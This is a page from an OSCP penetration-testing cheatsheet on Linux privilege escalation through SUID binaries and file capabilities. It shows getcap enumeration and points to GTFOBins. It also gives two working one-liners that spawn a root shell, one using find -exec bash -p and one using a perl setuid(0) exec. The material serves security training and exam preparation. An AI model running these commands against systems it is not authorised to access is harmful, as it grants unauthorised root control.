> For the complete documentation index, see [llms.txt](https://yongjun04.gitbook.io/oscp-cheatsheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yongjun04.gitbook.io/oscp-cheatsheet/privilege-escalation/linux/abusing-setuid-binaries-and-capabilities.md).

# Abusing Setuid Binaries and Capabilities

> **NOTE: Ensure the utility has SUID set**
>
> **EXAMPLE:**
>
> ```bash
> joe@debian-privesc:~$ ls -asl /usr/bin/passwd
> 64 -rwsr-xr-x 1 root root 63736 Jul 27  2018 /usr/bin/passwd
> ```

{% stepper %}
{% step %}

### Search for capabilities vulnerability

```bash
/usr/sbin/getcap -r / 2>/dev/null
```

{% endstep %}

{% step %}

### Search for vulnerability in internet

{% embed url="<https://gtfobins.github.io/#+capabilities>" %}
{% endstep %}

{% step %}

### Exploit the vulnerability based on the website

> **EXAMPLE:**
>
> ```bash
> find /home/joe/Desktop -exec "/usr/bin/bash" -p \;
> ```
>
> ```bash
> perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
> ```

{% endstep %}

{% step %}

### Enter command in newly spawned shell

{% endstep %}
{% endstepper %}